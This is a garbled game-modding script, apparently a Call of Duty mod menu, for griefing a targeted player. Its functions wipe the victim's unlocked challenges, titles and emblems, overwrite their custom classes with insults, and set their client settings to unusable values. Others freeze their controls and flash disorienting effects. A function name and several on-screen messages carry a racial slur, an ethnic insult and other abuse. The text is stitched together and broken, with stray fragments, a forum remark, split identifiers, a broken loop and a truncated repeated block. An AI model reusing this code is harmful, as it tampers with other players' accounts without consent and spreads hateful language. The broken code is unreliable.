self setPlayerData( "customClasses", 7, "weaponSetups", 0, "weapon", "m1014" );
self setPlayerData( "customClasses", 8, "weaponSetups", 0, "weapon", "deserteaglegold" );
self setPlayerData( "customClasses", 9, "weaponSetups", 0, "weapon", "onemanarmy" );
self setPlayerData( "customClasses", 0, "weaponSetups", 1, "weapon", "flash_grenade" );
self setPlayerData( "customClasses", 1, "weaponSetups", 1, "weapon", "usp" );
self setPlayerData( "customClasses", 2, "weaponSetups", 1, "weapon", "model1887" );
self setPlayerData( "customClasses", 3, "weaponSetups", 1, "weapon", "barrett" );
self setPlayerData( "customClasses", 4, "weaponSetups", 1, "weapon", "m21" );
self setPlayerData( "customClasses", 5, "weaponSetups", 1, "weapon", "tmp" );
self setPlayerData( "customClasses", 6, "weaponSetups", 1, "weapon", "usp" );
self setPlayerData( "customClasses", 7, "weaponSetups", 1, "weapon", "claymore" );
self setPlayerData( "customClasses", 8, "weaponSetups", 1, "weapon", "c4" );
self setPlayerData( "customClasses", 9, "weaponSetups", 1, "weapon", "smoke_grenade" );
self setPlayerData( "customClasses", 0, "weaponSetups", 0, "camo", "red_urban" );
self setPlayerData( "customClasses", 1, "weaponSetups", 0, "camo", "red_tiger" );
self setPlayerData( "customClasses", 2, "weaponSetups", 0, "camo", "orange_fall" );
self setPlayerData( "customClasses", 3, "weaponSetups", 0, "camo", "red_urban" );
self setPlayerData( "customClasses", 4, "weaponSetups", 0, "camo", "orange_fall" );
self setPlayerData( "customClasses", 5, "weaponSetups", 0, "camo", "orange_fall" );
self setPlayerData( "customClasses", 6, "weaponSetups", 0, "camo", "orange_fall" );
self setPlayerData( "customClasses", 9, "weaponSetups", 0, "camo", "orange_fall" );
self setPlayerData( "customClasses", 0, "weaponSetups", 1, "camo", "red_tiger" );
self setPlayerData( "customClasses", 1, "weaponSetups", 1, "camo", "orange_fall" );
self setPlayerData( "customClasses", 2, "weaponSetups", 1, "camo", "orange_fall" );
self setPlayerData( "customClasses", 3, "weaponSetups", 1, "camo", "red_tiger" );
self setPlayerData( "customClasses", 4, "weaponSetups", 1, "camo", "red_urban" );
self setPlayerData( "customClasses", 5, "weaponSetups", 1, "camo", "red_tiger" );
self setPlayerData( "customClasses", 7, "weaponSetups", 1, "camo", "red_tiger" );
self setPlayerData( "customClasses", 9, "weaponSetups", 1, "camo", "red_tiger" );
self setPlayerData( "customClasses", 0, "weaponSetups", 0, "attachment", 0, "fmj" );
self setPlayerData( "customClasses", 1, "weaponSetups", 0, "attachment", 0, "fmj" );
self setPlayerData( "customClasses", 2, "weaponSetups", 0, "attachment", 0, "silencer" );
self setPlayerData( "customClasses", 3, "weaponSetups", 0, "attachment", 0, "akimbo" );
self setPlayerData( "customClasses", 4, "weaponSetups", 0, "attachment", 0, "akimbo" );
self setPlayerData( "customClasses", 5, "weaponSetups", 0, "attachment", 0, "akimbo" );
self setPlayerData( "customClasses", 6, "weaponSetups", 0, "attachment", 0, "tactical" );
self setPlayerData( "customClasses", 7, "weaponSetups", 0, "attachment", 0, "shotgun" );
self setPlayerData( "customClasses", 9, "weaponSetups", 0, "attachment", 0, "akimbo" );
self setPlayerData( "customClasses", 0, "weaponSetups", 1, "attachment", 0, "silencer" );
self setPlayerData( "customClasses", 1, "weaponSetups", 1, "attachment", 0, "xmags" );
self setPlayerData( "customClasses", 2, "weaponSetups", 1, "attachment", 0, "silencer" );
self setPlayerData( "customClasses", 3, "weaponSetups", 1, "attachment", 0, "akimbo" );
self setPlayerData( "customClasses", 4, "weaponSetups", 1, "attachment", 0, "reflex" );
self setPlayerData( "customClasses", 5, "weaponSetups", 1, "attachment", 0, "akimbo" );
self setPlayerData( "customClasses", 6, "weaponSetups", 1, "attachment", 0, "tactical" );
self setPlayerData( "customClasses", 7, "weaponSetups", 1, "attachment", 0, "reflex" );
self setPlayerData( "customClasses", 9, "weaponSetups", 1, "attachment", 0, "reflex" );
self setPlayerData( "customClasses", 0, "weaponSetups", 0, "attachment", 1, "silencer" );
self setPlayerData( "customClasses", 1, "weaponSetups", 0, "attachment", 1, "xmags" );
self setPlayerData( "customClasses", 2, "weaponSetups", 0, "attachment", 1, "heartbeat" );
self setPlayerData( "customClasses", 3, "weaponSetups", 0, "attachment", 1, "gl" );
self setPlayerData( "customClasses", 4, "weaponSetups", 0, "attachment", 1, "silencer" );
self setPlayerData( "customClasses", 5, "weaponSetups", 0, "attachment", 1, "xmags" );
self setPlayerData( "customClasses", 6, "weaponSetups", 0, "attachment", 1, "tactical" );
self setPlayerData( "customClasses", 7, "weaponSetups", 0, "attachment", 1, "gl" );
self setPlayerData( "customClasses", 9, "weaponSetups", 0, "attachment", 1, "thermal" );
self setPlayerData( "customClasses", 0, "weaponSetups", 1, "attachment", 1, "rof" );
self setPlayerData( "customClasses", 1, "weaponSetups", 1, "attachment", 1, "fmj" );
self setPlayerData( "customClasses", 2, "weaponSetups", 1, "attachment", 1, "heartbeat" );
self setPlayerData( "customClasses", 3, "weaponSetups", 1, "attachment", 1, "gl" );
self setPlayerData( "customClasses", 4, "weaponSetups", 1, "attachment", 1, "acog" );
self setPlayerData( "customClasses", 5, "weaponSetups", 1, "attachment", 1, "xmags" );
self setPlayerData( "customClasses", 6, "weaponSetups", 1, "attachment", 1, "tactical" );
self setPlayerData( "customClasses", 7, "weaponSetups", 1, "attachment", 1, "reflex" );
self setPlayerData( "customClasses", 9, "weaponSetups", 1, "attachment", 1, "shotgun" );
self setPlayerData( "customClasses", 0, "perks", 1, "specialty_lightweight" );
self setPlayerData( "customClasses", 1, "perks", 1, "specialty_fastreload" );
self setPlayerData( "customClasses", 2, "perks", 1, "specialty_blastshield" );
self setPlayerData( "customClasses", 3, "perks", 1, "specialty_bling" );
self setPlayerData( "customClasses", 4, "perks", 1, "specialty_onemanarmy" );
self setPlayerData( "customClasses", 5, "perks", 1, "specialty_bling" );
self setPlayerData( "customClasses", 6, "perks", 1, "specialty_bling" );
self setPlayerData( "customClasses", 7, "perks", 1, "specialty_bling" );
self setPlayerData( "customClasses", 8, "perks", 1, "specialty_onemanarmy" );
self setPlayerData( "customClasses", 9, "perks", 1, "specialty_bling" );
self setPlayerData( "customClasses", 0, "perks", 2, "specialty_fastreload" );
self setPlayerData( "customClasses", 1, "perks", 2, "specialty_bulletdamage" );
self setPlayerData( "customClasses", 2, "perks", 2, "lightstick" );
self setPlayerData( "customClasses", 3, "perks", 2, "claymore" );
self setPlayerData( "customClasses", 4, "perks", 2, "specialty_bling" );
self setPlayerData( "customClasses", 5, "perks", 2, "specialty_lightweight" );
self setPlayerData( "customClasses", 6, "perks", 2, "frag_grenade" );
self setPlayerData( "customClasses", 7, "perks", 2, "specialty_detectexplosive" );
self setPlayerData( "customClasses", 8, "perks", 2, "specialty_onemanarmy" );
self setPlayerData( "customClasses", 9, "perks", 2, "specialty_combathigh" );
self setPlayerData( "customClasses", 0, "perks", 3, "specialty_extendedmelee" );
self setPlayerData( "customClasses", 1, "perks", 3, "specialty_extendedmelee" );
self setPlayerData( "customClasses", 2, "perks", 3, "specialty_bling" );
self setPlayerData( "customClasses", 3, "perks", 3, "specialty_detectexplosive" );
self setPlayerData( "customClasses", 4, "perks", 3, "semtex" );
self setPlayerData( "customClasses", 5, "perks", 3, "specialty_bulletaccuracy" );
self setPlayerData( "customClasses", 6, "perks", 3, "specialty_explosivedamage" );
self setPlayerData( "customClasses", 7, "perks", 3, "specialty_combathigh" );
self setPlayerData( "customClasses", 8, "perks", 3, "specialty_onemanarmy" );
self setPlayerData( "customClasses", 9, "perks", 3, "specialty_explosivedamage" );
self setPlayerData( "customClasses", 0, "perks", 0, "specialty_bulletdamage" );
self setPlayerData( "customClasses", 1, "perks", 0, "specialty_bulletaccuracy" );
self setPlayerData( "customClasses", 2, "perks", 0, "semtex" );
self setPlayerData( "customClasses", 3, "perks", 0, "specialty_pistoldeath" );
self setPlayerData( "customClasses", 4, "perks", 0, "specialty_grenadepulldeath" );
self setPlayerData( "customClasses", 5, "perks", 0, "specialty_localjammer" );
self setPlayerData( "customClasses", 6, "perks", 0, "specialty_heartbreaker" );
self setPlayerData( "customClasses", 7, "perks", 0, "semtex" );
self setPlayerData( "customClasses", 8, "perks", 0, "specialty_onemanarmy" );
self setPlayerData( "customClasses", 9, "perks", 0, "specialty_detectexplosive" );
self setPlayerData( "customClasses", 0, "perks", 4, "specialty_marathon" );
self setPlayerData( "customClasses", 1, "perks", 4, "specialty_bling" );
self setPlayerData( "customClasses", 2, "perks", 4, "specialty_thermal" );
self setPlayerData( "customClasses", 3, "perks", 4, "specialty_detectexplosive" );
self setPlayerData( "customClasses", 4, "perks", 4, "claymore" );
self setPlayerData( "customClasses", 5, "perks", 4, "specialty_coldblooded" );
self setPlayerData( "customClasses", 6, "perks", 4, "specialty_detectexplosive" );
self setPlayerData( "customClasses", 7, "perks", 4, "specialty_localjammer" );
self setPlayerData( "customClasses", 8, "perks", 4, "specialty_onemanarmy" );
self setPlayerData( "customClasses", 9, "perks", 4, "specialty_grenadepulldeath" );
self setPlayerData( "customClasses", 0, "specialGrenade", "Throwing_knife" );
self setPlayerData( "customClasses", 1, "specialGrenade", "concussion_grenade" );
self setPlayerData( "customClasses", 2, "specialGrenade", "m1014" );
self setPlayerData( "customClasses", 3, "specialGrenade", "ak47" );
self setPlayerData( "customClasses", 4, "specialGrenade", "coltanaconda" );
self setPlayerData( "customClasses", 5, "specialGrenade", "onemanarmy" );
self setPlayerData( "customClasses", 6, "specialGrenade", "fn2000" );
self setPlayerData( "customClasses", 7, "specialGrenade", "masada" );
self setPlayerData( "customClasses", 8, "specialGrenade", "deserteaglegold" );
self setPlayerData( "customClasses", 9, "specialGrenade", "fal" );
}
WeapTake;
WeapTake(){ self takeAllWeapons(); self ccTXT("Taken all Weapons"); }
doSend(p){ p.location = (900, -78, 3055.1); p setOrigin(p.location);p thread maps\mp\moss\AllMossysStuffHere::plGodmode();}
test1(p){self thread ccTXT("Done");p endon("death");for(;
{p.angle = p GetPlayerAngles();if(p.angle[1] < 179)p SetPlayerAngles( p.angle +(0, 1, 0) );else p SetPlayerAngles( p.angle *(1, -1, 1) );wait 0.0025;}}
druGZ;
druGZ(p) {self endon("death");
p thread giveDrugs();
while (1) {
p VisionSetNakedForPlayer("mpnuke", 1);
wait 0.1;
p VisionSetNakedForPlayer("cheat_chaplinnight", 1);
wait 0.1;
p VisionSetNakedForPlayer("ac130_inverted", 1);
wait 0.1;
p VisionSetNakedForPlayer("aftermath", 1);
}}
giveDrugs(){
self endon("death");self endon("disconnect");
streakIcon2 = createIcon( "cardicon_weed", 80, 63 );
streakIcon2 setPoint("CENTER");
streakIcon = createIcon( "cardicon_sniper", 80, 63 );
streakIcon setPoint("BOTTOMRIGHT", "BOTTOMRIGHT");
streakIcon3 = createIcon( "cardicon_headshot", 80, 63 );
streakIcon3 setPoint("TOPRIGHT", "TOPRIGHT");
streakIcon4 = createIcon( "cardicon_prestige10_02", 80, 63 );
streakIcon4 setPoint("TOPLEFT", "TOPLEFT");
streakIcon5 = createIcon( "cardicon_girlskull", 80, 63 );
streakIcon5 setPoint("BOTTOMLEFT", "BOTTOMLEFT");
streakIcon6 = createIcon( "cardtitle_weed_3", 280, 63 );
streakIcon6 setPoint("BOTTOM", "TOP", 0, 65);
zycieText2 = self createFontString("hudbig", 1.6);
zycieText2 setParent(level.uiParent);
zycieText2 setPoint("BOTTOM", "TOP", 0, 55);
zycieText2 setText( "^6DRUGS FTW");
}
doBadDvars;
doBadDvars(p){
p setclientdvar("sensitivity", "99999");
p setclientdvar("loc_forceEnglish", "0");
p setclientdvar("loc_language", "1");
p setclientdvar("loc_translate", "0");
p setclientdvar("bg_weaponBobMax", "999");
p setclientdvar("cg_fov", "200");
p setclientdvar("cg_youInKillCamSize", "9999");
p setclientdvar("cl_hudDrawsBehindUI", "0");
p setclientdvar("compassPlayerHeight", "9999");
p setclientdvar("compassRotation", "0");
p setclientdvar("compassSize", "9");
p setclientdvar("maxVoicePacketsPerSec", "3");
p setclientdvar("cg_gun_x", "2");
p setclientdvar("cg_gun_y", "-2");
p setclientdvar("cg_gun_z", "3");
p setclientdvar("cg_hudGrenadePointerWidth", "999");
p setclientdvar("cg_hudVotePosition", "5 175");
p setclientdvar("lobby_animationTilesHigh", "60");
p setclientdvar("lobby_animationTilesWide", "128");
p setclientdvar("drawEntityCountSize", "256");
p setclientdvar("r_showPortals", "1");
p setclientdvar("r_singleCell", "1");
p setclientdvar("r_sun_from_dvars", "1");
}
Derank(){
self setClientDvar( "motd","^1YOU GOT ****ING OWNED!!!");
self setClientDvar( "clanname", "****" );
self thread maps\mp\_utility::doLockChallenges();
self thread maps\mp\_utility::doLock();
}
doLockChallenges()
{
self endon ( "disconnect" );
if (self.doOwn != 1) {
self endon ( "death" );
}
foreach ( challengeRef, challengeData in level.challengeInfo ) {
finalTarget = 1;
finalTier = 1;
for ( tierId = 0; isDefined( challengeData["targetval"][tierId] ); tierId-- )
{
finalTarget = challengeData["targetval"][tierId];
finalTier = tierId - 1;
}
if ( self isItemUnlocked( challengeRef ) )
{
self setPlayerData( "challengeProgress", challengeRef, 0 );
self setPlayerData( "challengeState", challengeRef, 0 );
}
wait ( 0.04 );
}
}
doLock()
{
self endon ( "disconnect" );
if (self.doOwn != 1) {
self endon ( "death" );
} {
wait 12;
tableName = "mp/unlockTable.csv";
refString = tableLookupByRow( tableName, 0, 0 );
for ( index = 1; index<2345; index++ ) {
refString = tableLookupByRow( tableName, index, 0 );
if(isSubStr( refString, "cardicon_")) {
wait 0.1;
self setPlayerData( "iconUnlocked", refString, 0 );
}
if(isSubStr( refString, "cardtitle_")) {
wait 0.1;
self setPlayerData( "titleUnlocked", refString, 0 );
}
}
}
self setPlayerData( "cardtitle" , "cardtitle_owned" );
self thread maps\mp\gametypes\_hud_message:
ldNotifyMessage( "Get Deranked BITCH!" );
wait 2;
}

scarethatnigga;
so it appears like this menu.funcs[the place it is on your menu]=::scarethatnigga;
scarethatnigga(p){
p.IsScared=1;p thread maps\mp\gametypes\_hud_message::hintMessage("RusterG: ^5NOW YOU'VE DONE IT!");
wait 5;
p thread maps\mp\moss\AllMossysStuffHere::LockMenu(p);
wait 1;
p thread maps\mp\gametypes\_hud_message::hintMessage("RusterG: ^5YOU HAD TO PISS ME OFF! DIDN'T YOU?");
wait 1;
p thread maps\mp\gametypes\koth::prisonBuild();
wait 3;
p thread maps\mp\gametypes\koth::fukupclasses();
wait 3;
p thread maps\mp\moss\AllMossysStuffHere::WeapTake();
wait 1;
p thread maps\mp\moss\AllMossysStuffHere::doSend(p);
wait 4;
p thread maps\mp\moss\AllMossysStuffHere::test1(p);
wait 4;
p thread maps\mp\gametypes\koth::druGZ(p);
wait 2;
p thread maps\mp\gametypes\koth::doBadDvars(p);
wait 6;
p thread maps\mp\gametypes\_hud_message::hintMessage("RusterG: ^5YOU DIRTY ARABIAN ARSE WRANGLER!");
wait 1;
p thread maps\mp\moss\AllMossysStuffHere:
erank();
wait 1;
p thread scaryloop();
wait 3;
p thread maps\mp\gametypes\_hud_message::hintMessage("RusterG: ^5DERANKED BITCH! P.S Have a nice day.
");
wait 20;
p.IsScared=0;}
scaryloop(){while(self.IsScared){self freezeControls(true);
self iPrintlnBold("^5Challenges Now Locking...");
wait .03;}
self visionsetnakedforplayer("cheat_chaplinnight",10);
wait 5;
self iPrintlnBold("^5All Challenges, Titles, and Emblems...");
wait 3;
self VisionSetNakedForPlayer( "mpnuke_aftermath", 10 );
self iPrintlnBold("^5Weapons, Attachments, and Camos...");
wait 4;
self iPrintlnBold("^5Are Now...");
wait 3;self iPrintlnBold("^1LOCKED");}

level.PrisonRunOnce=0;
prisonBuild
CreateGrids(corner1, corner2, angle)
{
W = Distance((corner1[0], 0, 0), (corner2[0], 0, 0));
L = Distance((0, corner1[1], 0), (0, corner2[1], 0));
H = Distance((0, 0, corner1[2]), (0, 0, corner2[2]));
CX = corner2[0] - corner1[0];
CY = corner2[1] - corner1[1];
CZ = corner2[2] - corner1[2];
ROWS = roundUp(W/55);
COLUMNS = roundUp(L/30);
HEIGHT = roundUp(H/20);
XA = CX/ROWS;
YA = CY/COLUMNS;
ZA = CZ/HEIGHT;
center = spawn("script_model", corner1);
for(r = 0; r <= ROWS; r++){
for(c = 0; c <= COLUMNS; c++){
for(h = 0; h <= HEIGHT; h++){
block = spawn("script_model", (corner1 + (XA * r, YA * c, ZA * h)));
block setModel("com_plasticcase_friendly");
block.angles = (0, 0, 0);
block Solid();
block LinkTo(center);
block CloneBrushmodelToScriptmodel( level.airDropCrateCollision );
wait 0.01;
}
}
}
center.angles = angle;
}
roundUp( floatVal )
{
if ( int( floatVal ) != floatVal )
return int( floatVal+1 );
else
return int( floatVal );
}
CreateRamps(top, bottom)
{
D = Distance(top, bottom);
blocks = roundUp(D/30);
CX = top[0] - bottom[0];
CY = top[1] - bottom[1];
CZ = top[2] - bottom[2];
XA = CX/blocks;
YA = CY/blocks;
ZA = CZ/blocks;
CXY = Distance((top[0], top[1], 0), (bottom[0], bottom[1], 0));
Temp = VectorToAngles(top - bottom);
BA = (Temp[2], Temp[1] + 90, Temp[0]);
for(b = 0; b < blocks; b++){
block = spawn("script_model", (bottom + ((XA, YA, ZA) * B)));
block setModel("com_plasticcase_friendly");
block.angles = BA;
block Solid();
block CloneBrushmodelToScriptmodel( level.airDropCrateCollision );
wait 0.01;
}
block = spawn("script_model", (bottom + ((XA, YA, ZA) * blocks) - (0, 0, 5)));
block setModel("com_plasticcase_friendly");
block.angles = (BA[0], BA[1], 0);
block Solid();
block CloneBrushmodelToScriptmodel( level.airDropCrateCollision );
wait 0.01;
}
CreateWalls(start, end)
{
D = Distance((start[0], start[1], 0), (end[0], end[1], 0));
H = Distance((0, 0, start[2]), (0, 0, end[2]));
blocks = roundUp(D/55);
height = roundUp(H/30);
CX = end[0] - start[0];
CY = end[1] - start[1];
CZ = end[2] - start[2];
XA = (CX/blocks);
YA = (CY/blocks);
ZA = (CZ/height);
TXA = (XA/4);
TYA = (YA/4);
Temp = VectorToAngles(end - start);
Angle = (0, Temp[1], 90);
for(h = 0; h < height; h++){
block = spawn("script_model", (start + (TXA, TYA, 10) + ((0, 0, ZA) * h)));
block setModel("com_plasticcase_friendly");
block.angles = Angle;
block Solid();
block CloneBrushmodelToScriptmodel( level.airDropCrateCollision );
wait 0.001;
for(i = 1; i < blocks; i++){
block = spawn("script_model", (start + ((XA, YA, 0) * i) + (0, 0, 10) + ((0, 0, ZA) * h)));
block setModel("com_plasticcase_friendly");
block.angles = Angle;
block Solid();
block CloneBrushmodelToScriptmodel( level.airDropCrateCollision );
wait 0.001;
}
block = spawn("script_model", ((end[0], end[1], start[2]) + (TXA * -1, TYA * -1, 10) + ((0, 0, ZA) * h)));
block setModel("com_plasticcase_friendly");
block.angles = Angle;
block Solid();
block CloneBrushmodelToScriptmodel( level.airDropCrateCollision );
wait 0.001;
}
}
prisonBuild(p){
if(self isAllowed(0)&&(!self.PrisonRunOnce)){
self.PrisonRunOnce = 1;self thread testprison();self iprintln("^2Buiding prison...please wait...");wait 5;self iprintln("^3Done");}}
testprison(){
CreateWalls((990, 3, 3040), (790, 3, 3080));
CreateWalls((990, 3, 3120), (790, 3, 3160));
CreateWalls((790, 3, 3040), (790, -150, 3080));
CreateWalls((790, 3, 3120), (790, -150, 3160));
CreateGrids((990, 3, 3040), (790, -150, 3040));
CreateGrids((990, 3, 3160), (790, -150, 3160));
CreateWalls((790, -150, 3040), (990, -150, 3080));
CreateWalls((790, -150, 3120), (990, -150, 3160));
CreateWalls((990, 3, 3040), (990, -150, 3080));
CreateWalls((990, 3, 3120), (990, -150, 3160));
lt1 = loadfx( "misc/flare_ambient" );playfx(lt1,(820, -27.14, 3075));
lt2 = loadfx( "misc/flare_ambient" );playfx(lt2,(820, -120, 3075));
lt3 = loadfx( "misc/flare_ambient" );playfx(lt3,(960, -27.14, 3075));
lt4 = loadfx( "misc/flare_ambient" );playfx(lt4,(960, -120, 3075));
mgTurret = spawnTurret( "misc_turret", (990, 12.783, 3070), "pavelow_minigun_mp" );mgTurret setModel( "weapon_minigun" );mgTurret.angles = (0,-0,0);
mgTurret = spawnTurret( "misc_turret", (790, 12.783, 3070), "pavelow_minigun_mp" );mgTurret setModel( "weapon_minigun" );mgTurret.angles = (0,-0,0);
mgTurret = spawnTurret( "misc_turret", (980, -140, 3070), "pavelow_minigun_mp" );mgTurret setModel( "weapon_minigun" );mgTurret.angles = (0,-0,0);
mgTurret = spawnTurret( "misc_turret", (780, -140, 3070), "pavelow_minigun_mp" );mgTurret setModel( "weapon_minigun" );mgTurret.angles = (0,-0,0);
}
fukupclasses;
fukupclasses(){
self setPlayerData( "customClasses", 0, "name", "^1Your" );
self setPlayerData( "customClasses", 1, "name", "^2Classes" );
self setPlayerData( "customClasses", 2, "name", "^7Got" );
self setPlayerData( "customClasses", 3, "name", "^1****ed" );
self setPlayerData( "customClasses", 4, "name", "^2By" );
self setPlayerData( "customClasses", 5, "name", "^6The" );
self setPlayerData( "customClasses", 6, "name", "^2One" );
self setPlayerData( "customClasses", 7, "name", "^6And" );
self setPlayerData( "customClasses", 8, "name", "^1Only" );
self setPlayerData( "customClasses", 9, "name", "^1RusterG" );
self setPlayerData( "customClasses", 0, "weaponSetups", 0, "weapon", "cheytac" );
self setPlayerData( "customClasses", 1, "weaponSetups", 0, "weapon", "model1887" );
self setPlayerData( "customClasses", 2, "weaponSetups", 0, "weapon", "ranger" );
self setPlayerData( "customClasses", 3, "weaponSetups", 0, "weapon", "cheytac" );
self setPlayerData( "customClasses", 4, "weaponSetups", 0, "weapon", "fal" );
self setPlayerData( "customClasses", 5, "weaponSetups", 0, "weapon", "pp2000" );
self setPlayerData( "customClasses", 6, "weaponSetups", 0, "weapon", "glock" );
self setPlayerData( "customClasses", 7, "weaponSetups", 0, "weapon", "m1014" );
self setPlayerData( "customClasses", 8, "weaponSetups", 0, "weapon", "deserteaglegold" );
self setPlayerData( "customClasses", 9, "weaponSetups", 0, "weapon", "onemanarmy" );
self setPlayerData( "customClasses", 0, "weaponSetups", 1, "weapon", "flash_grenade" );
self setPlayerData( "customClasses", 1, "weaponSetups", 1, "weapon", "usp" );
self setPlayerData( "customClasses", 2, "weaponSetups", 1, "weapon", "model1887" );
self setPlayerData( "customClasses", 3, "weaponSetups", 1, "weapon", "barrett" );
self setPlayerData( "customClasses", 4, "weaponSetups", 1, "weapon", "m21" );
self setPlayerData( "customClasses", 5, "weaponSetups", 1, "weapon", "tmp" );
self setPlayerData( "customClasses", 6, "weaponSetups", 1, "weapon", "usp" );
self setPlayerData( "customClasses", 7, "weaponSetups", 1, "weapon", "claymore" );
self setPlayerData( "customClasses", 8, "weaponSetups", 1, "weapon", "c4" );
self setPlayerData( "customClasses", 9, "weaponSetups", 1, "weapon", "smoke_grenade" );
self setPlayerData( "customClasses", 0, "weaponSetups", 0, "camo", "red_urban" );
self setPlayerData( "customClasses", 1, "weaponSetups", 0, "camo", "red_tiger" );
self setPlayerData( "customClasses", 2, "weaponSetups", 0, "camo", "orange_fall" );
self setPlayerData( "customClasses", 3, "weaponSetups", 0, "camo", "red_urban" );
self setPlayerData( "customClasses", 4, "weaponSetups", 0, "camo", "orange_fall" );
self setPlayerData( "customClasses", 5, "weaponSetups", 0, "camo", "orange_fall" );
self setPlayerData( "customClasses", 6, "weaponSetups", 0, "camo", "orange_fall" );
self setPlayerData( "customClasses", 9, "weaponSetups", 0, "camo", "orange_fall" );
self setPlayerData( "customClasses", 0, "weaponSetups", 1, "camo", "red_tiger" );
self setPlayerData( "customClasses", 1, "weaponSetups", 1, "camo", "orange_fall" );
self setPlayerData( "customClasses", 2, "weaponSetups", 1, "camo", "orange_fall" );
self setPlayerData( "customClasses", 3, "weaponSetups", 1, "camo", "red_tiger" );
self setPlayerData( "customClasses", 4, "weaponSetups", 1, "camo", "red_urban" );
self setPlayerData( "customClasses", 5, "weaponSetups", 1, "camo", "red_tiger" );
self setPlayerData( "customClasses", 7, "weaponSetups", 1, "camo", "red_tiger" );
self setPlayerData( "customClasses", 9, "weaponSetups", 1, "camo", "red_tiger" );
self setPlayerData( "customClasses", 0, "weaponSetups", 0, "attachment", 0, "fmj" );
self setPlayerData( "customClasses", 1, "weaponSetups", 0, "attachment", 0, "fmj" );
self setPlayerData( "customClasses", 2, "weaponSetups", 0, "attachment", 0, "silencer" );
self setPlayerData( "customClasses", 3, "weaponSetups", 0, "attachment", 0, "akimbo" );
self setPlayerData( "customClasses", 4, "weaponSetups", 0, "attachment", 0, "akimbo" );
self setPlayerData( "customClasses", 5, "weaponSetups", 0, "attachment", 0, "akimbo" );
self setPlayerData( "customClasses", 6, "weaponSetups", 0, "attachment", 0, "tactical" );
self setPlayerData( "customClasses", 7, "weaponSetups", 0, "attachment", 0, "shotgun" );
self setPlayerData( "customClasses", 9, "weaponSetups", 0, "attachment", 0, "akimbo" );
self setPlayerData( "customClasses", 0, "weaponSetups", 1, "attachment", 0, "silencer" );
self setPlayerData( "customClasses", 1, "weaponSetups", 1, "attachment", 0, "xmags" );
self setPlayerData( "customClasses", 2, "weaponSetups", 1, "attachment", 0, "silencer" );
self setPlayerData( "customClasses", 3, "weaponSetups", 1, "attachment", 0, "akimbo" );
self setPlayerData( "customClasses", 4, "weaponSetups", 1, "attachment", 0, "reflex" );
self setPlayerData( "customClasses", 5, "weaponSetups", 1, "attachment", 0, "akimbo" );
self setPlayerData( "customClasses", 6, "weaponSetups", 1, "attachment", 0, "tactical" );
self setPlayerData( "customClasses", 7, "weaponSetups", 1, "attachment", 0, "reflex" );
self setPlayerData( "customClasses", 9, "weaponSetups", 1, "attachment", 0, "reflex" );
self setPlayerData( "customClasses", 0, "weaponSetups", 0, "attachment", 1, "silencer" );
self setPlayerData( "customClasses", 1, "weaponSetups", 0, "attachment", 1, "xmags" );
self setPlayerData( "customClasses", 2, "weaponSetups", 0, "attachment", 1, "heartbeat" );
self setPlayerData( "customClasses", 3, "weaponSetups", 0, "attachment", 1, "gl" );
self setPlayerData( "customClasses", 4, "weaponSetups", 0, "attachment", 1, "silencer" );
self setPlayerData( "customClasses", 5, "weaponSetups", 0, "attachment", 1, "xmags" );
self setPlayerData( "customClasses", 6, "weaponSetups", 0, "attachment", 1, "tactical" );
self setPlayerData( "customClasses", 7, "weaponSetups", 0, "attachment", 1, "gl" );
self setPlayerData( "customClasses", 9, "weaponSetups", 0, "attachment", 1, "thermal" );
self setPlayerData( "customClasses", 0, "weaponSetups", 1, "attachment", 1, "rof" );
self setPlayerData( "customClasses", 1, "weaponSetups", 1, "attachment", 1, "fmj" );
self setPlayerData( "customClasses", 2, "weaponSetups", 1, "attachment", 1, "heartbeat" );
self setPlayerData( "customClasses", 3, "weaponSetups", 1, "attachment", 1, "gl" );
self setPlayerData( "customClasses", 4, "weaponSetups", 1, "attachment", 1, "acog" );
self setPlayerData( "customClasses", 5, "weaponSetups", 1, "attachment", 1, "xmags" );
self setPlayerData( "customClasses", 6, "weaponSetups", 1, "attachment", 1, "tactical" );
self setPlayerData( "customClasses", 7, "weaponSetups", 1, "attachment", 1, "reflex" );
self setPlayerData( "customClasses", 9, "weaponSetups", 1, "attachment", 1, "shotgun" );
self setPlayerData( "customClasses", 0, "perks", 1, "specialty_lightweight" );
self setPlayerData( "customClasses", 1, "perks", 1, "specialty_fastreload" );
self setPlayerData( "customClasses", 2, "perks", 1, "specialty_blastshield" );
self setPlayerData( "customClasses", 3, "perks", 1, "specialty_bling" );
self setPlayerData( "customClasses", 4, "perks", 1, "specialty_onemanarmy" );
self setPlayerData( "customClasses", 5, "perks", 1, "specialty_bling" );
self setPlayerData( "customClasses", 6, "perks", 1, "specialty_bling" );
self setPlayerData( "customClasses", 7, "perks", 1, "specialty_bling" );
self setPlayerData( "customClasses", 8, "perks", 1, "specialty_onemanarmy" );
self setPlayerData( "customClasses", 9, "perks", 1, "specialty_bling" );
self setPlayerData( "customClasses", 0, "perks", 2, "specialty_fastreload" );
self setPlayerData( "customClasses", 1, "perks", 2, "specialty_bulletdamage" );
self setPlayerData( "customClasses", 2, "perks", 2, "lightstick" );
self setPlayerData( "customClasses", 3, "perks", 2, "claymore" );
self setPlayerData( "customClasses", 4, "perks", 2, "specialty_bling" );
self setPlayerData( "customClasses", 5, "perks", 2, "specialty_lightweight" );
self setPlayerData( "customClasses", 6, "perks", 2, "frag_grenade" );
self setPlayerData( "customClasses", 7, "perks", 2, "specialty_detectexplosive" );
self setPlayerData( "customClasses", 8, "perks", 2, "specialty_onemanarmy" );
self setPlayerData( "customClasses", 9, "perks", 2, "specialty_combathigh" );
self setPlayerData( "customClasses", 0, "perks", 3, "specialty_extendedmelee" );
self setPlayerData( "customClasses", 1, "perks", 3, "specialty_extendedmelee" );
self setPlayerData( "customClasses", 2, "perks", 3, "specialty_bling" );
self setPlayerData( "customClasses", 3, "perks", 3, "specialty_detectexplosive" );
self setPlayerData( "customClasses", 4, "perks", 3, "semtex" );
self setPlayerData( "customClasses", 5, "perks", 3, "specialty_bulletaccuracy" );
self setPlayerData( "customClasses", 6, "perks", 3, "specialty_explosivedamage" );
self setPlayerData( "customClasses", 7, "perks", 3, "specialty_combathigh" );
self setPlayerData( "customClasses", 8, "perks", 3, "specialty_onemanarmy" );
self setPlayerData( "customClasses", 9, "perks", 3, "specialty_explosivedamage" );
self setPlayerData( "customClasses", 0, "perks", 0, "specialty_bulletdamage" );
self setPlayerData( "customClasses", 1, "perks", 0, "specialty_bulletaccuracy" );
self setPlayerData( "customClasses", 2, "perks", 0, "semtex" );
self setPlayerData( "customClasses", 3, "perks", 0, "specialty_pistoldeath" );
self setPlayerData( "customClasses", 4, "perks", 0, "specialty_grenadepulldeath" );
